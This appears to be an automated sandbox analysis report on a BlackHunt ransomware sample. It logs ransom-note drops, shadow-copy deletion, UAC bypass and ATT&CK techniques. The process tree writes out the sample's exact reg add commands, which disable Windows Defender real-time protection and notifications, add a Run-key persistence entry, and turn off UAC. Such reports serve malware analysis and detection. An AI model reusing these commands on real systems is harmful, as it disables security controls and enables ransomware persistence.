File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_zh_CN.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-annotations-common.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files (x86)\Google\Update\Download\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files (x86)\Reference Assemblies\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_zh_TW.properties	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\VideoLAN\VLC\locale\my\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cayenne	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jre7\lib\amd64\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jre7\lib\fonts\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Accessibility.api	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_ButtonGraphic.png	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_cs.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-awt.xml	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Vancouver	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Hobart	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+3	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_pt_BR.properties	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_ja_4.4.0.v20140623020002.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ps.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_classic_win7.css	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Reunion	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DissolveAnother.png	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_zh_TW.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Kiev	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-background.png	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\COPYRIGHT	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\US_export_policy.jar	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2676	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2240	vssadmin.exe
2392	vssadmin.exe
2648	vssadmin.exe
2944	vssadmin.exe
2952	vssadmin.exe
2628	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2920	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2672	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1824	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeRestorePrivilege	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeBackupPrivilege	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeTakeOwnershipPrivilege	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeAuditPrivilege	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeSecurityPrivilege	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeIncBasePriorityPrivilege	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeBackupPrivilege	2660	vssvc.exe
Token: SeRestorePrivilege	2660	vssvc.exe
Token: SeAuditPrivilege	2660	vssvc.exe
Token: SeBackupPrivilege	2164	wbengine.exe
Token: SeRestorePrivilege	2164	wbengine.exe
Token: SeSecurityPrivilege	2164	wbengine.exe
Token: SeSecurityPrivilege	2860	wevtutil.exe
Token: SeBackupPrivilege	2860	wevtutil.exe
Token: SeSecurityPrivilege	2084	wevtutil.exe
Token: SeBackupPrivilege	2084	wevtutil.exe
Token: SeSecurityPrivilege	2464	wevtutil.exe
Token: SeBackupPrivilege	2464	wevtutil.exe
Token: SeSecurityPrivilege	1504	wevtutil.exe
Token: SeBackupPrivilege	1504	wevtutil.exe
Token: SeSecurityPrivilege	2344	wevtutil.exe
Token: SeBackupPrivilege	2344	wevtutil.exe
Token: SeDebugPrivilege	2920	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 2804	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	28
PID 2664 wrote to memory of 2804	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	28
PID 2664 wrote to memory of 2804	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	28
PID 2664 wrote to memory of 2804	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	28
PID 2664 wrote to memory of 2816	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	29
PID 2664 wrote to memory of 2816	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	29
PID 2664 wrote to memory of 2816	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	29
PID 2664 wrote to memory of 2816	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	29
PID 2664 wrote to memory of 2724	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	31
PID 2664 wrote to memory of 2724	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	31
PID 2664 wrote to memory of 2724	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	31
PID 2664 wrote to memory of 2724	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	31
PID 2664 wrote to memory of 2980	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	32
PID 2664 wrote to memory of 2980	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	32
PID 2664 wrote to memory of 2980	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	32
PID 2664 wrote to memory of 2980	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	32
PID 2664 wrote to memory of 2768	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	33
PID 2664 wrote to memory of 2768	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	33
PID 2664 wrote to memory of 2768	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	33
PID 2664 wrote to memory of 2768	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	33
PID 2816 wrote to memory of 2900	2816	cmd.exe	38
PID 2816 wrote to memory of 2900	2816	cmd.exe	38
PID 2816 wrote to memory of 2900	2816	cmd.exe	38
PID 2664 wrote to memory of 2596	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	39
PID 2664 wrote to memory of 2596	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	39
PID 2664 wrote to memory of 2596	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	39
PID 2664 wrote to memory of 2596	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	39
PID 2768 wrote to memory of 2492	2768	cmd.exe	40
PID 2768 wrote to memory of 2492	2768	cmd.exe	40
PID 2768 wrote to memory of 2492	2768	cmd.exe	40
PID 2664 wrote to memory of 2736	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	41
PID 2664 wrote to memory of 2736	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	41
PID 2664 wrote to memory of 2736	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	41
PID 2664 wrote to memory of 2736	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	41
PID 2664 wrote to memory of 1320	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	44
PID 2664 wrote to memory of 1320	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	44
PID 2664 wrote to memory of 1320	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	44
PID 2664 wrote to memory of 1320	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	44
PID 2664 wrote to memory of 2572	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	45
PID 2664 wrote to memory of 2572	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	45
PID 2664 wrote to memory of 2572	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	45
PID 2664 wrote to memory of 2572	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	45
PID 2664 wrote to memory of 2588	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	47
PID 2664 wrote to memory of 2588	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	47
PID 2664 wrote to memory of 2588	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	47
PID 2664 wrote to memory of 2588	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	47
PID 2664 wrote to memory of 2636	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	49
PID 2664 wrote to memory of 2636	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	49
PID 2664 wrote to memory of 2636	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	49
PID 2664 wrote to memory of 2636	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	49
PID 2664 wrote to memory of 3048	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	51
PID 2664 wrote to memory of 3048	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	51
PID 2664 wrote to memory of 3048	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	51
PID 2664 wrote to memory of 3048	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	51
PID 2724 wrote to memory of 3052	2724	cmd.exe	115
PID 2724 wrote to memory of 3052	2724	cmd.exe	115
PID 2724 wrote to memory of 3052	2724	cmd.exe	115
PID 2664 wrote to memory of 2420	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	54
PID 2664 wrote to memory of 2420	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	54
PID 2664 wrote to memory of 2420	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	54
PID 2664 wrote to memory of 2420	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	54
PID 2664 wrote to memory of 2500	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	55
PID 2664 wrote to memory of 2500	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	55
PID 2664 wrote to memory of 2500	2664	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
"C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:1320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2796
